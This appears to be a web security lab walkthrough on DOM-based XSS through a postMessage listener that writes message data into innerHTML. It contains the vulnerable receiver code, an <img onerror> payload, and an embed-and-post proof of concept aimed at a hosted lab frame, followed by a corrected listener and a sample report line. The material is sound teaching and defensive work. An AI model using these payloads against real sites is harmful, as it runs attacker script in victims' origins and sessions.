Message → innerHTML

postMessage
send into the frame
sender (this page):
  const v = document.getElementById('inp').value;
  frame.contentWindow.postMessage({message: v}, '*');

receiver (frame.html):
  window.addEventListener('message', e => {
    if (e.data && e.data.message) {
      document.getElementById('message').innerHTML = e.data.message;   // ☠
    }
  });
Method — from innocent string to execution
  1. Marker first, as always: <u>hello iFrame</u> → underline appears in the frame → the sink accepts and renders HTML, not text.
  2. Payload, lesson-exact: <img src=x onerror=alert(1)> — a broken image, therefore an onerror, therefore the alert fires inside the frame's document. (Switch it to alert(document.domain) to see whose context you're executing in.)
  3. Decode the two missing checks in the receiving code: no event.origin compare ⇒ messages from any page that manages to reach this window are welcome; no schema/allow-list on event.data.message ⇒ whatever strings arrive get parsed as HTML by innerHTML.
  4. Real-world shape: embed the victim site's frame (or find one it embeds), grab iframe.contentWindow.postMessage(...), and churn payloads. The message path is functionally just a second input — one that security reviews often forget because it doesn't look like a URL or a form field.
  5. Severity story follows the XSS ladder you already know: where does the frame's document end up (its own origin), what session data can its scripts read (cookies/storage), is there any origin check anywhere on the path.

Classroom caveat: frame and parent share an origin here for convenience — the sink doesn't care; postMessage is the sanctioned cross-origin path and Lab 28 proved it delivers between different origins. The weaknesses live in the receiver, not the wire.

Spoiler — the payload, as the lesson fires it
type into the box →  <img src=x onerror=alert(1)>

…or the hosted version, to fire it like an attacker (any HTTPS page):

<iframe src="https://stuxnet.pro/pm/lab29/frame.html" id="f"></iframe>
<script>
  const f = document.getElementById('f');
  setTimeout(() => f.contentWindow.postMessage(
    {message: '<img src=x onerror=alert(document.domain)>'}, '*'), 800);
</script>

The setTimeout is the practical lesson of every embed-and-post POC: the child frame finishes loading after your script — post too early and the listener isn't registered yet. Wait, then post. The alert now fires in the frame's document — on a real target that's their origin, their session, your code.

Spoiler — what a proper fix looks like (so reports stay anchored)
window.addEventListener('message', e => {
  if (e.origin !== 'https://approved-sender.example') { return; }     // ① who talks
  if (typeof e.data?.message !== 'string')             { return; }   // ② what shape
  el.textContent = e.data.message;   // ③ text, not markup
});

Report line corroborates the fix: "message event consumer renders event.data into innerHTML without origin or content validation — cross-origin scripts execute in the frame's origin." And note the sink discipline you already know from the XSS set: textContent kills this even where the message path is legitimately needed.